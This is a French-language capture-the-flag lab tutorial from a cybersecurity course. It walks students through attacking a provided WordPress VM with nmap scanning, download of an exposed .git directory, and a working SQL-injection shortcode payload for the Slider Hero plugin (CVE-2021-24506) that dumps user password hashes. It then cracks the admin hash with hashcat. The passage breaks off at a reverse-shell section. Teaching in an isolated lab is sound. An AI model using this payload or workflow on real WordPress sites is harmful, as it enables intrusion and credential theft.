Archives Wild Code School
Cybersecurity

Atelier - Hacking & CTF

Quête 2 sur 13 · 33 images archivées

👋 Hello :var[user.firstname] , bienvenu dans cet atelier type capture the flag destiné au hacking.

A travers cet atelier guidé, tu vas tenter de prendre le contrôle d'un serveur.

Au menu :

  • Reconnaissance
  • Cassage de mot de passe
  • Exploitation de vulnérabilité
  • Elévation de privilèges
spacer

⛳ Objectifs

👉 L'objectif principal de cet atelier est d'obtenir un accès root sur la cible.

👉 Le second objectif est de mettre la main sur 3 fichiers nommés flag.txt présents sur ce serveur.

Info

Un CTF (Capture The Flag) en cybersécurité, c'est un peu comme un jeu d'aventure pour les passionnés de sécurité informatique ! Il s'agit d'une compétition où les participants doivent résoudre des défis techniques pour "capturer des drapeaux" ou "flag" 🚩, qui sont en réalité des chaînes de texte cachées dans des systèmes.

Sommaire

👻 Contexte

Tu es un hacker et tu as réussis à t'infiltrer dans le réseau de ta cible.

Depuis ta machine d'attaque (Kali Linux), tu vas essayer de compromettre le serveur cible (vm fournie).

📋 Instructions

Prérequis

Pour mener à bien cet atelier, tu dois disposer des éléments suivants :

  • ⭐ Un hyperviseur tel que VirtualBox ou VMware Workstation pour déployer ton environnement virtuel de laboratoire
  • ⭐ Une carte réseau de type Host only en 192.168.56.0/24 configurée comme ceci, dans ton hyperviseur :

spacer
Info

Dans notre l'exemple, c'est la carte VMnet2 qui a été configurée sur l'hyperviseur VMware Workstation. L'important n'est pas la carte en elle même, mais le type de carte (host only), le plan d'adressage ainsi que l'option Serveur DHCP.

  • ⭐Une VM Kali Linux. Télécharge une VM préconfigurée Kali Linux ici : https://www.kali.org/get-kali/#kali-virtual-machines

  • ⭐ Ta VM Kali Linux doit avoir une interface dans le réseau virtuel 192.168.56.0/24 configuré précédemment, et une autre dans un réseau avec sortie Internet (NAT ou Bridge).

  • ⭐Tu devras aussi lui attribuer au moins 4Go de RAM

Info

Pour te loguer sur cette machine, utilises : kali / kali . Le clavier est surement en QWERTY (donc utilises kqli / kqli).

Une fois identifié, ouvre un terminal et passe la distribution en AZERTY avec les commandes suivantes :

bash
setxkbmap fr
sudo /usr/sbin/dpkg-reconfigure locales
sudo /usr/sbin/dpkg-reconfigure keyboard-configuration
  • ⭐ L’image OVA du serveur cible (environ 5,5 Go), qui se nomme Exam . Ton formateur te fournira cette image.

  • ⭐ Ta machine Exam doit avoir sa carte réseau dans le réseau virtuel host only configuré précédemment en 192.168.56.0/24 .

Info

Une fois que tu as déployé ton laboratoire, assure toi que tu puisses pinguer la machine cible depuis ta machine d'attaque.

Assure toi aussi que ta machine d'attaque est à jour.

Conseils

Il est primordial d'être méthodique et organisé lorsque tu effectues du pentest.

Prend un maximum de notes au fur et à mesure de tes découvertes. Chaque information pourra être utile lors de ta progression.

La cybersécurité est un monde où la curiosité et la persévérance paient …

Info

L'atelier est organisé en étapes.

Pour chaque étape, une proposition de solution ainsi qu'une sortie du résultat attendu de cette solution est caché.

Avant de dérouler la solution, essaie de réaliser la demande par tes propres moyens.

Ces demandes sont précédés de l'icone ✨, donc à chaque fois que tu verras cet icone, c'est que tu as une action à réaliser.


🏁 C'est parti

Partie 1 : Reconnaissance 👀

Etape 1

Tu connais déjà l'adresse IP de ta cible car elle s’est affichée quand tu as démarré la VM. Sauf que dans un contexte réel tu aurais dû identifier les cibles potentielles dans le réseau dans lequel tu t'es infiltré.

✨ Tu vas donc devoir scanner le réseau : 192.168.56.0/24

INDICE :

Utilises un outil comme Nmap. Rapelle toi qu'il existe un outil extrêmement puissant et incontournable dans la trousse à outils du pentester : Nmap.

https://nmap.org/book/man-port-scanning-techniques.html

spacer
hidden
Voir la solution 1|||text|||Utilises le scan approprié de Nmap pour découvrir les machines actives sur le réseau 192.168.56.0/24|||0|||Hide

La syntaxe :
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.56.0/24
```

```alert info
 Que fait exactement cette commande ?

 Cette commande va scanner notre réseau cible, ici 192.168.56.0/24, pour **détecter les machines actives**. 

 L'option `-sn` est une option qui indique à Nmap de se concentrer sur la détection des hôtes sans se lancer dans un balayage de ports.

 Une fois la commande exécutée, Nmap va te révéler une liste d'adresses IP actives.
```
hidden
Voir la solution 2|||text|||Tu aurais aussi pu utiliser l'outil fping pour découvrir les machines actives sur le réseau 192.168.56.0/24|||0|||Hide

La syntaxe :
```bash
┌──(kali㉿kali)-[~]
└─$ fping -a -g 192.168.56.1 192.168.56.254 > hotes.txt
``` 
```alert info
`-a` = hôtes actifs
`-g` = définition de la plage réseau à scanner

Tu te retrouves avec un fichier `hotes.txt` qui contient la liste des hôtes actifs sur ton réseau :
`192.168.56.1` : la passerelle
`192.168.56.50` : la machine cible
`192.168.56.128` : la machine d'attaque
```
spacer
Bravo

Nous avons franchi une étape cruciale, l'identification de notre cible : l'hôte 192.168.56.50 !

Etape 2

Tu as besoins d'informations sur ta cible pour planifier tes prochaines étapes.

Tu dois trouver des informations qui peuvent révéler des vulnérabilités potentielles.

✨ Cherches les services actifs ainsi que les ports associés à ces services sur ta machine cible.

INDICE :

Pour cela, utilises le scan TCP Connect de Nmap.

Le scan TCP Connect de Nmap tente d'effectuer une connexion en 3 étapes complète (le fameux Three-way handshake) sur chaque port indiqué. Il va jusqu'au bout de la connexion (SYN, SYN/ACK, ACK) puis la ferme proprement.

Sans précision de la plage de ports, Nmap scanne les 1000 ports les + utilisés. Si tu n'es pas pressé par le temps, il vaut mieux scanner TOUS les ports. Pourquoi ? Car les admins masquent souvent les services en les utilisant sur un port non standard.

hidden
Voir la solution|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -sT -p- -Pn 192.168.56.50
```
```alert info
`-s` : précise le type de scan
`T` : scan TCP Connect
`-p-` : scan de l'intégralité des ports (à la place des 1000 par défaut)
`-Pn` : désactive la découverte de l'hôte. Cette option indique de ne pas faire de ping sur la cible, car nous savons déjà qu'elle est en ligne.
```

spacer
Bravo

Une fois le scan terminé, nous avons une liste de ports ouverts avec le nom du service qui tourne sur ce port :

Etape 3

✨ Essayes d'en savoir plus sur ces services : leur version, les infos que tu peux recueillir ...

INDICE :

→ Nmap possède une option pour obtenir des informations sur les versions des services qui tournent sur la cible : -sV → Maintenant que nous savons que seuls les ports 22 et 80 sont ouverts, il n'est plus nécessaire de scanner l'intégralité des 65536 ports → Nmap possède aussi un moteur de script appelé script NSE. Ces scripts apportent des fonctionnalités et possibilités supplémentaires. Pour scanner les versions des services découverts avec les scripts Nmap NSE, utilises l'option -C en plus de l'option -sV : -sVC

Tu peux te renseigner sur ce moteur de script NSE : https://nmap.org/book/nse.html, et plus particulièrement sur les options de détection de version avec Vscan : https://nmap.org/book/nse-vscan.html

hidden
Voir la solution|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -sVC -n -top-ports 100 -Pn 192.168.56.50
```

```alert info
Informations sur les options utilisées :
`-n` : empêche la résolution DNS, ce qui accélère le scan en se concentrant uniquement sur les adresses IP.
`-sVC` : effectue un scan de versions des services détectés et utilise des scripts Nmap par défaut pour plus d'informations.
`--top-ports 100` : examine les 100 ports les plus couramment utilisés, ce qui est souvent suffisant pour trouver des points d'entrée intéressants.
`-Pn` : ne pas faire de ping sur la cible, car nous savons déjà qu'elle est en ligne.
```
spacer
Bravo

Une fois le scan terminé, nous avons une liste des ports ouverts avec des informations sur les services en cours d'exécution et, dans certains cas, sur les versions des logiciels utilisés.

Ces informations sont essentielles pour planifier nos prochaines étapes, car elles peuvent révéler des vulnérabilités potentielles ...

Etape 4

Jusqu'ici, les scans Nmap nous ont permis de faire des découvertes intéressantes sur notre cible :

  • Un service SSH
  • Un service Web Apache fait avec le CMS WordPress
  • La présence d'un répertoire Git
  • Un message de commit précédent

spacer

Depuis ton navigateur, tu peux accéder à ce site WordPress, ainsi qu'aux informations sur Git :

spacer

spacer

Petit cours flash sur Git

Git est un système de contrôle de version distribué très populaire, utilisé pour suivre les changements dans les fichiers source tout au long du processus de développement logiciel.

Voici quelques aspects clés de Git :

  1. Contrôle de version : Git aide à gérer l'évolution d'un ensemble de fichiers — généralement le code source d'un logiciel — au fil du temps. Il permet de suivre l'historique des modifications, de comparer les changements au fil du temps, et de revenir à des versions antérieures si nécessaire.

  2. Distribué : Contrairement aux systèmes de contrôle de version centralisés, chaque utilisateur de Git dispose d'une copie complète du dépôt (repo), y compris l'historique complet des changements. Cela signifie que les opérations comme l'engagement (commit), la fusion (merge), et l'historique sont rapides et ne dépendent pas d'un serveur central.

  3. Branching et Merging :

    Ø  Branching : Git permet de créer des branches, des versions parallèles du code, pour développer des fonctionnalités, corriger des bugs ou expérimenter en isolant ces changements du code principal (généralement la branche "master" ou "main").

    Ø  Merging : Les changements d'une branche peuvent être intégrés dans une autre branche (par exemple, intégrer une branche de fonctionnalité dans la branche principale).

  4. Engagements (commits) : Un commit dans Git représente une capture instantanée des modifications apportées à un ensemble de fichiers. Chaque commit a un identifiant unique (SHA-1 hash) et inclut des métadonnées telles que l'auteur, la date, et un message de commit.

  5. Staging Area : Git dispose d'une zone intermédiaire appelée "staging area" ou "index". Avant de faire un commit, les modifications de fichiers sont ajoutées à la staging area, permettant ainsi aux développeurs de regrouper leurs changements en commits logiques et organisés.

  6. Git Repository : Un dépôt Git contient tous les fichiers d'un projet, ainsi que l'historique complet de tous les commits. Il inclut le dossier ".git", où Git stocke les métadonnées et la base de données des objets du projet.

  7. Collaboration et Plateformes en Ligne : Git est souvent utilisé en conjonction avec des plateformes de collaboration comme GitHub, GitLab, et Bitbucket, qui ajoutent des fonctionnalités de suivi des problèmes, de demandes de tirage (pull requests), et de gestion de projet.

Le répertoire Git

Un répertoire Git sur un serveur web est une mine d'or potentielle car il peut contenir des informations précieuses sur la configuration et le code source de l'application.

Voici quelques informations clés à son sujet :

  1. Emplacement : Le répertoire ".git" se trouve à la racine de ton projet. Il est créé lorsque tu initialises un dépôt Git avec la commande git init.

  2. Contenu : Ce répertoire contient tout ce dont Git a besoin pour gérer les différentes versions de ton projet. Cela inclut :

    Ø  objects : Stocke des blobs (contenu de fichiers), des arbres (qui représentent la structure des dossiers), et des commits.

    Ø  refs : Contient des références aux commits, y compris des branches et des tags.

    Ø  HEAD : Un fichier indiquant la branche courante.

    Ø  index : Un fichier qui garde une trace des fichiers qui seront inclus dans le prochain commit.

    Ø  config : Un fichier de configuration pour le dépôt local.

    Ø  hooks : Dossiers de scripts qui peuvent être exécutés à différentes étapes du workflow Git.

  3. Importance : Le dossier .git est crucial pour le fonctionnement de Git. Sans lui, tu perds la capacité de suivre les changements ou de revenir à des états antérieurs du projet.

  4. Non-suivi par Git : Par défaut, le contenu du dossier .git n'est pas suivi par Git lui-même. Cela signifie que les changements dans le répertoire .git ne sont pas enregistrés ou transmis lorsque tu fais des commits ou des pushs.

  5. Sécurité et confidentialité : Comme ce dossier contient des informations détaillées sur l'historique de ton projet, il est important de le sécuriser. Il ne doit pas être partagé ou publié publiquement, surtout s'il contient des données sensibles.

Manipulation avec précaution : La modification manuelle des fichiers à l'intérieur du répertoire .git n'est généralement pas recommandée, car cela peut corrompre l'état de ton dépôt Git.

spacer

✨ C'est une aubaine de tomber sur ce répertoire .git . Télécharge le répertoire Git dans son intégralité sur ta machine d'attaque.

INDICE :

Un outil simple mais puissant pour télécharger des contenus en ligne de commande s’appelle wget. Il dispose de nombreuses options notamment certaines pour télécharger récursivement tous les fichiers d’un répertoire ...

hidden
Voir la solution 1|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
┌──(kali㉿kali)-[~]
└─$ wget -r http://192.168.56.50/.git
```
hidden
Voir la solution 2|||text||||||0|||Hide

Nous aurions pu aussi utiliser cette commande :

```bash
┌──(kali㉿kali)-[~]
└─$ wget -m http://192.168.56.50/.git
```
```alert info
`--mirror` ou `-m` : Cette option permet de copier intégralement le site comme un "miroir", c'est comme si tu prenais une photocopie du répertoire Git en préservant sa structure originale. 
Le man de wget explique que cette option active la récursivité et l'horodatage, définit une profondeur de récursivité infinie et conserve les listes de répertoires FTP.  
Elle est actuellement équivalente aux options combinées `-r` ou `--recursive`, `-N` ou `--timestamping`, `-l` ou `--level inf` et `--no-remove-listing`.
```
spacer
Bravo

Tu disposes maintenant d'un répertoire complet Git sur ta machine d'attaque :

bash
┌──(kali㉿kali)-[~]
└─$ ls -al
total 68452
drwx------ 21 kali kali     4096 16 oct.  07:33 .
drwxr-xr-x  3 root root     4096 18 août  15:57 ..
drwxrwxr-x  7 kali kali     4096 16 oct.  07:33 192.168.56.50
...

┌──(kali㉿kali)-[~]
└─$ ls -al 192.168.56.50
total 68
drwxrwxr-x  7 kali kali  4096 16 oct.  07:33  .
drwx------ 21 kali kali  4096 16 oct.  07:33  ..
drwxrwxr-x  8 kali kali  4096 16 oct.  07:33  .git
drwxrwxr-x  2 kali kali  4096 16 oct.  07:33  icons
-rw-rw-r--  1 kali kali 12641 16 oct.  07:33  index.html
-rw-rw-r--  1 kali kali 17619 16 oct.  07:33 'index.html?p=1'
drwxrwxr-x  7 kali kali  4096 16 oct.  07:33  index.php
drwxrwxr-x  4 kali kali  4096 16 oct.  07:33  wp-content
drwxrwxr-x  4 kali kali  4096 16 oct.  07:33  wp-includes
-rw-rw-r--  1 kali kali   796 16 oct.  07:33 'xmlrpc.php?rsd'

Etape 5

Tu disposes donc d'une copie locale du répertoire Git de la cible.

Maintenant, tu as plusieurs possibilités :

  • Analyse des logs Git : Parcours l'historique des commits pour découvrir des changements de configuration ou des codes source sensibles qui ont été enregistrés dans le temps.
  • Recherche de données sensibles : Des fichiers de configuration, des clés API, ou des mots de passe peuvent parfois être trouvés dans des commits antérieurs.

✨ Il serait peut-être intéressant de restaurer l’état du dernier commit puisque tu as vu qu’il y a eu un commit précédemment grâce à la dernière sortie Nmap Last commit message.

INDICE :

Regarde du coté de l'option checkout de Git. C'est l'une des commandes les plus polyvalentes dans Git, utilisée pour plusieurs fonctions différentes, telles que changer de branches ou restaurer les fichiers du dépôt ...

hidden
Voir la solution|||text||||||0|||Hide

Place toi dans le répertoire `192.168.56.50` téléchargé, puis utilises la commande suivante pour restaurer tous les fichiers du répertoire de travail à leur dernier état dans le dépôt Git :

```bash
┌──(kali㉿kali)-[~]
└─$ cd 192.168.56.50

┌──(kali㉿kali)-[~/192.168.56.50]
└─$ git checkout .
2625 chemins mis à jour depuis l'index 

```
```alert info
Compare le nombre de fichiers/répertoire avec la sortie précédente de `ls -al`. Une multitude d'éléments sont désormais accéssibles.
```
spacer
Bravo

En restaurant les fichiers à leur dernier état, nous pouvons découvrir des fichiers qui ne sont pas visibles via une simple navigation web, mais qui sont présents dans le dépôt.

bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ ls -al
total 276
drwxrwxr-x  7 kali kali  4096 16 oct.  08:04  .
drwx------ 21 kali kali  4096 16 oct.  07:33  ..
drwxrwxr-x  8 kali kali  4096 16 oct.  08:04  .git
drwxrwxr-x  2 kali kali  4096 16 oct.  07:33  icons
-rw-rw-r--  1 kali kali 12641 16 oct.  07:33  index.html
-rw-rw-r--  1 kali kali 17619 16 oct.  07:33 'index.html?p=1'
-rw-rw-r--  1 kali kali   405 16 oct.  08:04  index.php
-rw-rw-r--  1 kali kali 19915 16 oct.  08:04  license.txt
-rw-rw-r--  1 kali kali  7346 16 oct.  08:04  readme.html
-rw-rw-r--  1 kali kali   278 16 oct.  08:04  TODO_staff.txt
-rw-rw-r--  1 kali kali  7165 16 oct.  08:04  wp-activate.php
drwxrwxr-x  9 kali kali  4096 16 oct.  08:04  wp-admin
-rw-rw-r--  1 kali kali   351 16 oct.  08:04  wp-blog-header.php
-rw-rw-r--  1 kali kali  2328 16 oct.  08:04  wp-comments-post.php
-rw-rw-r--  1 kali kali  3088 16 oct.  08:04  wp-config.php
-rw-rw-r--  1 kali kali  3004 16 oct.  08:04  wp-config-sample.php
drwxrwxr-x  4 kali kali  4096 16 oct.  08:04  wp-content
-rw-rw-r--  1 kali kali  3939 16 oct.  08:04  wp-cron.php
drwxrwxr-x 25 kali kali 12288 16 oct.  08:04  wp-includes
-rw-rw-r--  1 kali kali  2496 16 oct.  08:04  wp-links-opml.php
-rw-rw-r--  1 kali kali  3900 16 oct.  08:04  wp-load.php
-rw-rw-r--  1 kali kali 45463 16 oct.  08:04  wp-login.php
-rw-rw-r--  1 kali kali  8509 16 oct.  08:04  wp-mail.php
-rw-rw-r--  1 kali kali 22297 16 oct.  08:04  wp-settings.php
-rw-rw-r--  1 kali kali 31693 16 oct.  08:04  wp-signup.php
-rw-rw-r--  1 kali kali  4747 16 oct.  08:04  wp-trackback.php
-rw-rw-r--  1 kali kali  3236 16 oct.  08:04  xmlrpc.php
-rw-rw-r--  1 kali kali   796 16 oct.  07:33 'xmlrpc.php?rsd'
spacer

Parfois, les développeurs laissent des commentaires ou des informations dans les fichiers qui peuvent être utilisés pour mieux comprendre le système ...

Etape 6

Explore avec attention chaque fichier car ils peuvent contenir des indices.

Soit minutieux dans ton exploration.

✨ N'y a-t-il pas un fichier qui attire ton attention ?

hidden
Voir la solution|||text||||||0|||Hide

Le fichier `TODO_staff.txt` semble être une bonne piste. On va afficher son contenu :

```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ cat TODO_staff.txt

DONE
Créer le compte contributeur du prestataire et lui envoyer les identifiants (contributor:Afd9ky0xz6jrD26eT9gx2w)

WIP
Finir l'installation et la configuration des plugins

TODO
Change le mot de passe de l'administrateur
Nettoyer le répertoire web (.git + TOTO_staff.txt)
```
spacer
Bravo

Le fichier qui nous interresse est une liste de tâches concernant le site web sous WordPress.

Nous comprenons que "DONE" signifie que la tâche a été effectuée, "WIP" signifie que la tâche est en cours de réalisation, et "TO DO" signifie que la tâche est à faire.

Il y a une information critique dans les notes : un utilisateur contributor et son mot de passe en clair !

Ça nous parle aussi d’un plugin et du mot de passe administrateur...

Etape 7

Rapelle toi : lors du scan nmap, tu as trouvé sur le serveur un site WordPress.

✨ Peut-être serait-il intéressant d’essayer de se connecter avec l’id/mdp trouvé dans les notes ...

INDICE :

Il faut avoir accès à la page wp-admin pour tenter de s'y connecter ...

hidden
Voir la solution|||text||||||0|||Hide
L'URL pour se connecter à la page d’administration de WordPress est :

[http://192.168.56.50/wp-admin](http://192.168.56.50/wp-admin)

spacer
Bravo

🎉 BINGO !!!

En entrant les credentials trouvés dans la note, nous réussissons à nous y connecter :

Etape 8

Tu constates que le plugin "Slider Hero" est installé sur ce WordPress.

✨ Il serait intéressant de savoir sur quelle version il est pour voir s’il existe des vulnérabilités à exploiter ...

INDICE :

Si tu n'arrives pas à trouver la version du plugin depuis l’interface web d’administration il existe sûrement des outils qui permettent de détecter les versions de plugins WordPress...

Essaie l'outil WPscan depuis ta machine d'attaque.

spacer
hidden
Voir la solution|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.56.50
```
spacer
Bravo

En utilisant l’outil WPscan, nous pouvons constater que le plugin est en version 8.2.6 :

Bravo

Il ne reste plus qu’à chercher si une vulnérabilité peut être exploitée sur cette version ...

spacer

Partie 2 : Exploitation de vulnérabilité 💣

Etape 1

✨ Effectue une recherche Web pour essayer de trouver un résultat sur l'exploitation d'une vulnérabilité connue correspondante à la version du plugin Slider Hero découvert.

INDICE :

Tu peux chercher une vulnérabilité (ou CVE  pour Common Vulnerabilities and Exposures) sur le plugin Slider Hero de diverses façons.

Il existe des sites spécialisés qui les recensent comme https://www.exploit-db.com/, https://www.cvedetails.com/ ou encore https://sploitus.com/.

Sinon, une simple recherche dans un navigateur Web peut aussi donner des résultats.

spacer
hidden
Voir la solution|||text||||||0|||Hide
D'après une recherche Web, nous avons pu trouver un tutoriel qui permet d'exploiter le plugin à travers une **injection SQL** :

![](images/012-etape-4.png)

![](images/013-etape-4.png)

```alert info
Remarque que ce site web mentionne le numéro CVE : CVE-2021-24506 et qu'il indique aussi sa sévérité CVSS : 9.6 (critical)
```
spacer
Bravo

D’après le tutoriel trouvé, il faut faire ce qui suit :

As a contributor, add the following shortcode in a post and preview it to execute the SQLi :

[hero-button id='1 UNION SELECT 2,"",2,1,NULL,"",NULL,0,NULL,"{}",999,NULL,CONCAT(CONCAT(CONCAT(CONCAT(FROM_BASE64("eyJidXR0b25fdGV4dCI6Ig=="),user_login),":"),user_pass),FROM_BASE64("IiwiYnV0dG9uX3VybCI6IiMiLCJidXR0b25fdGFyZ2V0IjoiX2JsYW5rIiwiYnV0dG9uX2JvcmRlciI6InNxdWFyZSIsImJ1dHRvbl9zdHlsZSI6ImZ1bGxfYmFja2dyb3VuZCIsImJ1dHRvbl9lZmZlY3QiOiJleGJvcmRlciIsImJ1dHRvbl9mb250X3dlaWdodCI6Im5vcm1hbCIsImJ1dHRvbl9mb250X3NpemUiOiIiLCJidXR0b25fbGV0dGVyX3NwYWNpbmciOiIiLCJidXR0b25fY29sb3IiOiIjMDAwMDAwIiwiYnV0dG9uX2hvdmVyX2NvbG9yIjoiIiwiYnV0dG9uX2JhY2tncm91bmRfY29sb3IiOiIjZmZmZmZmIiwiaGVyb19idXR0b25fc2hvcnRjb2RlIjoiMSIsImhlcm9fYnV0dG9uX3Nob3J0Y29kZV92YWx1ZSI6IiIsImJ1dHRvbl9iYWNrZ3JvdW5kX2hvdmVyX2NvbG9yIjoiIn0=")),FROM_BASE64("eyJidXR0b25fdGV4dCI6IkRvd25sb2FkIE5vdyIsImJ1dHRvbl91cmwiOiIjIiwiYnV0dG9uX3RhcmdldCI6Il9ibGFuayIsImJ1dHRvbl9ib3JkZXIiOiJzcXVhcmUiLCJidXR0b25fc3R5bGUiOiJmdWxsX2JhY2tncm91bmQiLCJidXR0b25fZWZmZWN0IjoiZXhib3JkZXIiLCJidXR0b25fZm9udF93ZWlnaHQiOiJub3JtYWwiLCJidXR0b25fZm9udF9zaXplIjoiIiwiYnV0dG9uX2xldHRlcl9zcGFjaW5nIjoiIiwiYnV0dG9uX2NvbG9yIjoiIzAwMDAwMCIsImJ1dHRvbl9ob3Zlcl9jb2xvciI6IiIsImJ1dHRvbl9iYWNrZ3JvdW5kX2NvbG9yIjoiI2ZmZmZmZiIsImhlcm9fYnV0dG9uX3Nob3J0Y29kZSI6IiIsImhlcm9fYnV0dG9uX3Nob3J0Y29kZV92YWx1ZSI6IiIsImJ1dHRvbl9iYWNrZ3JvdW5kX2hvdmVyX2NvbG9yIjoiIn0="),"",NULL,NULL,NULL,NULL,NULL FROM wp_users']

Etape 2

D’après le tutoriel trouvé, en tant que "contributor", nous devons ajouter un code spécifique dans le corps d'un article et le prévisualiser pour qu'il exécute le code SQLi.

✨ Met en oeuvre le tutoriel

INDICE :

Rends-toi sur l’interface web d’administration de WordPress en étant connecté avec l’utilisateur contributor et ajoutes un nouveau post contenant le code pour exécuter l'injection SQL.

spacer
hidden
Voir la solution|||text||||||0|||Hide

* Crée un nouveau article :
![](images/014-etape-4.png)

```spacer small
```

* Ajoute le code dans le corps de l’article et clique sur le bouton **Preview** :
![](images/015-etape-4.png)

```spacer small
```

* Du texte apparaît, met le de côté :
![](images/016-etape-4.png)

spacer
Bravo

🎉 BINGO !!!

Nous avons récupéré ceci : admin:$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1

Serait-ce le mot de passe en clair du compte admin de WordPress ?

spacer

Partie 3 : Cassage de mot de passe 🔓

Tu as certainement dû essayer le mot de passe trouvé et ça n’a rien donné ?

C’est peut-être parce que ce n’est pas un mot de passe ...

En fait tu dois savoir que pour protéger les mots de passe stockés dans les bases de données il existe une pratique de sécurité informatique : le hashage de mot de passe !

Les hashes (ou empreintes) de mots de passe sont des représentations cryptographiques d'un mot de passe.

Au lieu de stocker les mots de passe en clair, ce qui serait une faille de sécurité majeure, les systèmes sécurisés stockent une version hashée. Cela signifie que même si quelqu'un parvient à accéder à la base de données, il ne verra pas immédiatement les mots de passe.

Le hashage est un processus qui prend une entrée (dans ce cas, un mot de passe) et produit une chaîne de caractères de longueur fixe, appelée hash. Cette transformation est réalisée par une fonction de hashage.

Les propriétés clés d'une bonne fonction de hashage incluent :

  • Détermination : la même entrée produit toujours le même hash.
  • Rapidité : la fonction produit le hash rapidement.
  • Irreversibilité : il est pratiquement impossible de retrouver l'entrée originale à partir du hash.
  • Résistance aux collisions : il est très difficile de trouver deux entrées distinctes qui produisent le même hash.

Etape 1

✨ Effectue une recherche sur un outil qui te permet de retrouver un mot de passe d'après son hash.

INDICE :

Une rapide recherche te dirigeras certainement vers un outil bien connu : hashcat. Essaie d'en apprendre plus sur son fonctionnement.

hidden
Voir la solution|||text||||||0|||Hide
En faisant tes recherches, tu as sûrement compris que pour tenter un cassage de hash avec hashcat il faut au préalable trouver plusieurs éléments :
* **l’algorithme qui a été utilisé pour générer le hash** : En lançant la commande `hashcat --help` tu peux constater qu’il en existe énormément :
![](images/017-etape-4.png)

* D'après cet algorithme, il faut en déduire la méthode qui sera utilisée par hashcat
* Hashcat a aussi besoin d'une liste de mots de passe à passer en option pour comparer leur hash avec le hash de notre mot de passe secret.

_Les éléments cités sont nécessaires pour un type d'attaque particulier : l'attaque par dictionnaire. Mais Hashcat permet de réaliser aussi d'autres types d'attaque de mot de passe. Jette un oeil à [ce site](https://www.malekal.com/hashcat-cracker-des-hashs-empreintes-md5-sha1-sha256/) pour en apprendre un peu plus._
spacer
Bravo

Maintenant que nous connaissons les éléments nécessaire au cassage du mot de passe par hashcat, les prochaines étapes nous permettrons de déterminer ces éléments.

Etape 2

Hashcat a besoin de connaître l'algorithme utilisé lors du hash afin de tenter de le casser.

✨ Effectue des recherches pour savoir quel algorithme a été utilisé pour générer le hash de notre mot de passe admin mystère.

INDICE :

La présence d'un $ dans la chaîne (admin:$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1) est un indice typique des hashes de mot de passe.

La chaîne commence par $P$, ce qui peut indiquer l'algorithme ou le format du hash. Cette information est cruciale pour choisir la bonne méthode de craquage ou d'analyse.

spacer
hidden
Voir la solution 1|||text||||||0|||Hide
Tu peux peut-être commencer tes recherches en tapant `$P$` dans un moteur de recherche ...

Le premier résultat trouvé sur internet nous a amené sur cette conversation de Stack Overflow où qqn nous dit que le hash commençant par `$P$` est du type `PHpass` :
![](images/018-etape-4.png)
```spacer small
```
![](images/019-etape-4.png)
```spacer small
```
![](images/020-etape-4.png)
spacer
hidden
Voir la solution 2|||text||||||0|||Hide
L’outil `hashid` directement inclus dans Kali Linux permet aussi de déterminer le type d'algorithme de hashage utilisé :

```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ hashid '$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1'
Analyzing '$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
```

L’option `-m` de **hashid** permet d’afficher directement le **mode hashcat** qui sera utilisé pour tenter le cassage de hash :

```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ hashid -m '$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1'
Analyzing '$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1'
[+] Wordpress ≥ v2.6.2 [Hashcat Mode: 400]
[+] Joomla ≥ v2.5.18 [Hashcat Mode: 400]
[+] PHPass' Portable Hash [Hashcat Mode: 400]
```

spacer
Bravo

Nous avons désormais plusieurs éléments qui vont nous permettre de retrouver le mot de passe d'après son hash :

  • L'outil pour tenter de casser le hash : hashcat
  • L'algorithme utilisé lors de la génération du hash : PHPass
  • Le mode à utiliser dans hashcat pour récupérer le mot de passe en clair : 400

Il ne nous manque plus que la liste de mot de passe à utiliser.

Etape 3

Tes recherches précédentes t'auront sûrement fait comprendre que pour casser un hash de mot de passe avec hashcat, tu as besoin d’une liste de mots (aussi appelé dictionnaire, ou wordlist).

Ça tombe bien car ta VM Kali Linux en a déjà des toutes prêtes !

✨ Trouve le nom et l'emplacement de ces wordlists sur ta distribution Kali Linux, et choisi en une pertinente.

hidden
Voir la solution|||text||||||0|||Hide

Une simple recherche Internet nous a fourni beaucoup de résultats à exploiter.

La wordlist que nous allons utiliser est celle nommée `rockyou.txt`, présente dans `/usr/share/wordlists` :

```bash
┌──(kali㉿kali)-[~]
└─$ ls -l /usr/share/wordlists
total 52108
...
-rw-r--r-- 1 root root 53357329 12 mai    2023 rockyou.txt.gz
...
```

Etape 4

A présent que nous disposons de tous les éléments nécessaires au craquage du mot de passe par hashcat, il est temps de lancer l'attaque par dictionnaire.

✨ D'après la man page de hashcat, trouve quelles commandes peuvent t'aider à craquer le mot de passe de l'admin

hidden
Voir la solution 1|||text||||||0|||Hide
Tout d’abord il faut copier le hash dans un fichier texte que nous nommerons `hash.txt`. 

Pour cela nous utilisons l’éditeur de texte nano :
```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ cat hash.txt
$P$Braf7K.2vp7FZV3.6vdmmnA7oYSthV1
```

Ensuite nous pouvons lancer l’attaque par dictionnaire :
```bash
┌──(kali㉿kali)-[~/192.168.56.50]
└─$ hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt.gz
```
spacer
Bravo

🎉 BINGO !!!!

Hashcat a réussi à trouver le mot de passe d'après son haché, il s'agit de spidermonkey :

Bravo

Nous avons désormais le mot de passe admin du site WordPress !

Nous avons avancé dans notre mission mais ce n’est pas encore fini : le mot de passe admin de l’interface WordPress n’est pas le compte root du système Debian.

Peut-être est-il possible de faire une élévation de privilèges ...

spacer

Partie 4 : Obtenir un reverse shell Meterpreter 🔮

Un Reverse Shell est une technique utilisée en cybersécurité pour obtenir un contrôle à distance sur un système.

